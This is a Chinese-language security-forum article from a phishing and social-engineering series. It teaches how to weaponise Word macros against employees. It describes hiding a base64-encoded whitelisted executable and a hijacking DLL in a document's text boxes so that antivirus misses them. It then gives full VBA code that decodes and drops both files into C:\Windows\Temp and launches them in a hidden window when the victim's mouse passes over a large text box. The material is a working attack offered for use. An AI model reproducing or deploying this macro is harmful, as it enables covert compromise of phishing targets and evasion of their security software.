office宏：釣魚與社工系列 - 網安 - 專業的網絡安全產業、社區、知識平臺

0x01 介紹

根據多次項目實戰中發現，office宏仍然是最高的成功率，在靜默釣魚中也是最不容易觸發人員的警覺。因為大部分員工即使有安全意識，也是不運行陌生的exe程序，但是對于word文檔則沒有足夠的安全意識，認為word文檔都是安全的。正是基于此心理狀態，office宏在釣魚中仍然占據重要成分。

當然，現在office在國內市場中其實占據并不多，越來越多人用wps了。那么這種情況下office宏肯定是無效了，下篇文章會針對該情景分析如何釣魚。

0x02 宏代碼流程及免殺

網上有很多項目及文章是如何實現宏免殺的效果，之所以要宏免殺大部分原因都是代碼是實現運行宏的時候就直接遠程上線到rat上。例如調用powershell或者遠程下載等等代碼所用到的api或者函數，都被殺軟盯著。那么換個思路，我們即不調用powershell執行敏感函數，也不遠程下載文件，我們所做要的是釋放文件并通過dll劫持實現上線。

釋放文件其實也是個技術活，經過測試，能否釋放文件成功主要看你的文件是不是靜態免殺，如果文件靜態免殺，那么就能夠成功釋放。因為這就是個正常的功能，殺軟不可能攔截你釋放安全的文件，不然就影響一些職業的正常辦公了。而我們用的是dll劫持的方法，白名單程序肯定是安全的文件，那么就是我們的惡意dll文件如何實現靜態免殺了。如何讓dll文件靜態免殺的方法很多，網上也有很多項目，這塊內容不在該文章里，以后會詳細講解。

上段說了釋放文件，而文件也都靜態免殺了。那么還有一個要注意的地方，那就是dll劫持的程序保存在word文件哪里？首先我們得將dll劫持程序已二進制形式讀取出來，然后base64編碼后得到了一串字符串，只要釋放的時候重新base64解碼并已二進制形式寫入到磁盤里，這樣就能夠釋放出dll劫持程序了。那么重點就是該base64字符串存放在哪里？千萬別放在宏代碼里，很容易被殺，最好的規避殺軟的方法就是將base64字符串放到word正文里的文本框等控件里。然后宏代碼去讀取文本框里的base64字符串，再解碼寫入磁盤里并運行白程序實現上線。這樣通過該方法就能夠實現了宏免殺。

最后一步就是如何觸發宏了，千萬不要使用打開word文件就觸發宏的方法，很容易被殺軟攔截。我常用的方法就是弄一個很大的文本框放在第一頁，然后當目標的鼠標移動到文本框時就觸發宏。這樣的方法既能有效規避殺軟，還能在目標不知情的情況下觸發了宏！

總結：尋找一個dll劫持的白程序，做一個靜態免殺的dll文件，將所有文件以二進制形式讀取出來并base64編碼后存放到word的文本框里。宏代碼功能讀取文本框里的字符串并解碼寫入磁盤，然后運行白程序即可免殺上線！

0x03 宏代碼

0x03-1 讀取文件并base64編碼

先使用下面的代碼將白程序和dll文件base64編碼得到字符串

Sub WriteBinary(FileName, Buf)
  Dim I, aBuf, Size, bStream
  Size = UBound(Buf): ReDim aBuf(Size \ 2)
  For I = 0 To Size - 1 Step 2
      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
  Next
  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Sub

Function Base64Encode(str() As Byte) As String                                  'Base64 編碼
    On Error GoTo over                                                          '排錯
    Dim Buf() As Byte, length As Long, mods As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    mods = (UBound(str) + 1) Mod 3   '除以3的余數
    length = UBound(str) + 1 - mods
    ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)
    Dim I As Long
    For I = 0 To length - 1 Step 3
        Buf(I / 3 * 4) = (str(I) And &HFC) / &H4
        Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10
        Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40
        Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F
    Next
    If mods = 1 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10
        Buf(length / 3 * 4 + 2) = 64
        Buf(length / 3 * 4 + 3) = 64
    ElseIf mods = 2 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10
        Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4
        Buf(length / 3 * 4 + 3) = 64
    End If
    For I = 0 To UBound(Buf)
        Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)
    Next
over:
End Function


'VB Base64 解碼/解密函數：

Function Base64Decode(B64 As String) As Byte()                                  'Base64 解碼
    On Error GoTo over                                                          '排錯
    Dim OutStr() As Byte, I As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)     '判斷Base64真實長度,除去補位
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For I = 1 To length Step 4
        Dim Buf(3) As Byte
        For j = 0 To 3
            Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1            '根據字符的位置取得索引值
        Next
        OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10
        OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4
        OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    Base64Decode = OutStr                                                       '讀取解碼結果
over:
End Function


Sub test2()
    Dim iFN As Integer
    Dim sPath As String
    Dim bFileSize As Long
    Dim sResult As String
    Dim arr() As Byte       ' 字節數組
    Dim arra() As Byte       ' 字節數組
    Dim infile, outfile, infileBase As String
    infile = "C:\Windows\Temp\123.exe"
    outfile = "c:\windows\temp\1.exe"

    iFN = VBA.FreeFile

    bFileSize = VBA.FileLen(infile)
    'Debug.Print bFileSize
    Open infile For Binary Access Read As iFN
    arr = InputB(bFileSize, iFN)        '讀取字節流

    infileBase = Base64Encode(arr())

    'Debug.Print infileBase

    Dim FSO
    Set FSO = CreateObject("Scripting.FileSystemObject")

    Set OutPutFile = FSO.OpenTextFile("C:\windows\temp\test.txt", 2, True)
    OutPutFile.Write (infileBase)
    OutPutFile.Close
    Set FSO = Nothing


    'Dim infileBaseExe As String
    'infileBaseExe = Range("J22").Value
    'infileBaseExe = infileBaseExe + Range("J23").Value

    'arra = Base64Decode(infileBase)

    'WriteBinary outfile, arra


End Sub

0x03-2 office宏上線代碼

從文本框中讀取base64內容，解碼后寫入到c:\windows\temp\目錄下，當用戶鼠標移動或點擊到文本框中，觸發宏執行木馬

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)
Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

Function fileExist(filePath)
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.fileExists(filePath) Then
        fileExist = True
    Else
        fileExist = False
    End If
    Set fso = Nothing
End Function


Function dddddd(B64 As String) As Byte()
    On Error GoTo over
    Dim OutStr() As Byte, i As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For i = 1 To length Step 4
        Dim buf(3) As Byte
        For j = 0 To 3
            buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1
        Next
        OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10
        OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4
        OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    dddddd = OutStr
over:
End Function


Function runCommand(comando)
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim lSuccess As Long
    Dim lRetValue As Long

    lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)

    lRetValue = CloseHandle(pInfo.hThread)
    lRetValue = CloseHandle(pInfo.hProcess)

End Function


Function WriteBinary(FileName, buf)
  Dim i, aBuf, Size, bStream
  Size = UBound(buf): ReDim aBuf(Size \ 2)
  For i = 0 To Size - 1 Step 2
      aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))
  Next
  If i = Size Then aBuf(i \ 2) = ChrW(buf(i))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Function


Function releaseFile(path As String, conte As String)

    hwminiArra = dddddd(conte)
    WriteBinary path, hwminiArra



End Function


Function start()
    Dim filePath As String
    filePath = "C:\Windows\temp\aaaaaaa.exe"
    If Not fileExist(filePath) Then
        releaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)
        releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)
    End If
    runCommand (filePath)

End Function




Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub


Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub